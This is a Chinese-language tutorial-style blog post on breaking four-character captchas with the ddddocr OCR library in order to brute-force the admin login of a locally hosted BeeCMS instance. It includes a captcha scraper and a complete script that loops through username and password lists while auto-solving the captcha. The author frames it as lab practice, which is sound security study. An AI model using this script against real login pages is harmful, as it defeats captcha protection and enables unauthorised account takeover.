前言

在常规的爆破工作中，如果网站的验证码无法绕过，这个时候就需要用到验证码的自动识别来辅助我们的爆破工作，本文将以最常用的数字加字母组合的4位验证码进行探讨，用到的实验环境是python的ddddocr库和beecms，关于beecms的代码审计，可以参考这位师傅的文章，https://www.freebuf.com/articles/web/340978.html

关于环境的搭建也不在复述。

机器学习用于验证码的识别

在用于普通的字母加数字的组合验证码识别时，可以利用knn算法做一个识别，大概步骤如下：

1.爬取网站验证码图片；

2.对验证码图片进行处理，去除背景噪声，完成图片灰度化，字符串切割；

3.利用knn算法进行训练，利用训练好的模型文件去预测新的验证码。

本地搭建的环境如下：

验证码获取

通过编写爬虫获取一定量的验证码图片

代码实例

import requests

url = "http://localhost/beecms/admin/admin_code.php"  # 爬取网站

# 爬取100张验证码
for i in range(1, 101):
    get_img_response = requests.get(url)  # 发送一个get请求
    img_data = get_img_response.content
    with open("img/%d.png" % i, 'wb') as fp:
        fp.write(img_data)
    print("爬取结束！")

爬取的图片

然后对图片进行“肉眼识别”并标记

但是做到这一步的时候也出现了一些问题，

比如数字“9”和字母“g” 应该怎么去判断

例如

我也尝试过看登录页面存在 9 和 g的情况去分辨差别在哪，但好像不是很明显。

其次在进行分割图片时，因为验证码的字符不是在规定区域内，可能会多个挤在一起，偏左或者偏右等情况，导致切割的字符串效果不太理想，这里就不放代码演示了。

有些切割到了，有些却没有，这会给后面的训练造成影响。

这时ddddocr库给我们解决了这个复杂的问题，这个库包含了很多关于验证码识别的已经训练好的数据模型，直接拿来用就可以了。

首先本地测试一下，

首先创建一个DdddOcr对象，然后调用classification去自动识别

import ddddocr

ocr = ddddocr.DdddOcr()

with open("5a4c.png", "rb") as f:
    im = f.read()

r = ocr.classification(im)
print(r)

随便挑一张进行验证

（不过我后续进行关于字母 “g”和数字“9”的时候还是有些偏差）

可以进行识别，那就下来就进行爆破脚本的编写。

脚本编写

首先登录的请求的url是这个

http://localhost/beecms/admin/login.php?action=ck_login

获取验证码的url是这个

http://localhost/beecms/admin/admin_code.php

可以看到请求参数并没有加密，那现在我们需要做的就是将code参数利用上面的ddddocr库去请求获取验证码的url识别并赋值，大致流程就是去请求这两个url，然后编写post请求去尝试登录，最终代码如下

import ddddocr
import requests

username = ["aaa", "ccc", "admin"]
password = ["111",  "admin"]
docr = ddddocr.DdddOcr()
header = {"Content-Type": "application/x-www-form-urlencoded"}
code_url = "http://localhost/beecms/admin/admin_code.php"
target_url = "http://localhost/beecms/admin/login.php?action=ck_login"
response = requests.get(code_url)
img_str = docr.classification(response.content)
for u in username:
    for p in password:
        img_str = docr.classification(response.content)
        post_data = {
            "user": u,
            "password": p,
            "code": img_str,
            "submit": "true",
            "submit.x": "32",
            "submit.y": "38"
        }
        data = requests.post(target_url, data=post_data, headers=header, cookies=response.cookies)
        print("正在爆破用户名 " + u + " " + "密码 " + p)
        print(len(data.text))
        if len(data.text) > 10000:
            print("爆破成功！！" + "用户名 " + u + " " + "密码 " + p)
break

print("爆破结束")

username和password可以换成自己的字典，这里的话账号密码默认为admin/admin，

其中有几点需要注意：

1.登录失败会有4秒左右时间退回到登录页面，所以脚本运行时间较长；

2.还是上文数字"9"和字母“g”的问题，需要多爆破几次；

3.我判断是否登录成功利用返回包长度是否大于10000去判断；

4.post请求携带cookie是因为如果不携带，相当于打了两次请求过去，会出现验证码不同步的情况，所以需要将访问获取验证码请求的cookie加到post请求里。

这里附上爆破的结果

脚本有些小瑕疵。。。。后面在慢慢完善吧。

结尾

利用ddddocr库可以很方便快捷的实现验证码的识别，这个库还可以识别滑动解锁，选字填充等其他类型验证码的识别，后续遇到如果遇到的站点有这样的验证码，再继续尝试吧。

参考资料

https://www.freebuf.com/articles/web/340978.html

https://wenanzhe.com